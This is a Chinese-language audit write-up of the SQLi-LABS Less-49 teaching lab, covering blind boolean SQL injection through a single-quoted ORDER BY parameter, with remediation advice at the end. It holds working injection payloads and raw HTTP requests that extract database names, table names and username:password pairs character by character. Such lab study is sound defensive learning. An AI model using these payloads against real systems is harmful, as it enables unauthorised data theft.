Less-49 代码审计报告:ORDER BY 单引号布尔盲注
本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与
Less-49/index.php实际文件一致。
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-49: ORDER BY Clause - Blind based - Single quote |
| 源码路径 | Less-49/index.php |
| 漏洞类型 | SQL 注入 – 布尔盲注(ORDER BY 子句)- 单引号字符串 |
| 注入点参数 | GET /sqli-labs/Less-49/?sort= |
| 报错/盲注 | 无报错回显,仅"表格是否显示"作为布尔 Oracle |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件: Less-49/index.php
// 第 14 行:直接取 GET 参数,未过滤
$id=$_GET['sort'];
// 第 22 行:单引号包裹直接拼接进 ORDER BY
$sql = "SELECT * FROM users ORDER BY '$id'";
// 第 23 行
$result = mysql_query($sql);
// 第 24 行:只有 $result 为真才显示表格
if ($result)
{
...
}
关键漏洞点:
- 第 14 行:
$id=$_GET['sort'];未过滤。 - 第 22 行:
ORDER BY '$id'单引号拼接,需闭合引号注入。 - 无报错回显:查询失败只走
else分支(第 53-59 行),必须盲注。
3. 漏洞分析
- 输入来源:
$_GET['sort'],未过滤。 - SQL 拼接位置:
ORDER BY '$id'。注入 Payload 形如1' and ...-- -,闭合单引号后用-- -注释尾部引号。 - 是否回显:成功显示表格;失败显示 "Please input parameter as SORT with numeric value"。
- 盲注思路:利用
if(条件,真值,报错子查询)。条件为真 → 排序表达式合法 → 表格显示;条件为假 → 子查询(select 1 from information_schema.tables)返回多行 → 整条 SQL 报错 → 表格消失。以"表格是否出现"为 Oracle。 - 注意:ORDER BY 位置不支持 UNION。
4. 利用方式
步骤一:判断注入点
sort=1 → 正常
sort=1' → 报错/表格消失
sort=1'-- - → 正常(单引号被注释)
sort=1' and 1=1-- - → 正常
sort=1' and 1=2-- - → 表格消失
→ 确认单引号闭合 + 布尔 Oracle 可用。
步骤二:布尔盲注判断条件(核心 Payload)
-- 判断当前库是否为 security
sort=1' and if((select database())='security',1,(select 1 from information_schema.tables))-- -
-- 判断 security.users 是否存在
sort=1' and if((select count(*) from information_schema.tables where table_schema='security' and table_name='users')=1,1,(select 1 from information_schema.tables))-- -
- 真 → 表格正常显示;假 → 表格消失。
步骤三:逐字符提取数据
-- 库名第 1 个字符 ASCII>64
sort=1' and if(ascii(substring((select database()),1,1))>64,1,(select 1 from information_schema.tables))-- -
-- 表名第 i 个字符
sort=1' and if(ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),i,1))>N,1,(select 1 from information_schema.tables))-- -
-- 爆数据(security.users)
sort=1' and if(ascii(substring((select concat(username,0x3a,password) from security.users limit 0,1),i,1))>N,1,(select 1 from information_schema.tables))-- -
步骤四:进阶
- 二分法爆破 ASCII,每个字符约 7 次请求;配合脚本自动化。
- 也可用
regexp/like加速(如substring(...) regexp '^[A-Z]')。
5. Yakit 重放数据包
判断库名是否 security 报文:
GET /sqli-labs/Less-49/?sort=1%27%20and%20if((select%20database())='security',1,(select%201%20from%20information_schema.tables))--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
提取库名第 1 个字符(>64)报文:
GET /sqli-labs/Less-49/?sort=1%27%20and%20if(ascii(substring((select%20database()),1,1))%3E64,1,(select%201%20from%20information_schema.tables))--%20- HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close
说明:%27='、%20=空格、%3E=>、--%20-=-- -。页面出现用户数据表格 → 条件真;表格消失 → 条件假。
6. 修复建议
修复一(首选):排序字段白名单枚举
<?php
$allow = ['id', 'username', 'password'];
$sort = isset($_GET['sort']) ? $_GET['sort'] : 'id';
if (!in_array($sort, $allow, true)) {
$sort = 'id';
}
$sql = "SELECT * FROM users ORDER BY $sort";
$result = mysql_query($sql);
修复二:严格校验排序表达式
if (!preg_match('/^[a-zA-Z_][a-zA-Z0-9_]*$/', $sort)) {
die('Invalid sort field');
}
修复三:输入校验 + 最小权限
- 关闭一切错误细节输出,统一错误页。
- 数据库账号最小权限;升级 PHP 7+ / 8+,移除
mysql_*扩展。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前需:导入
sql-lab.sql、配置sql-connections/db-creds.inc、使用支持mysql_*的 PHP 5.x 环境。
正文完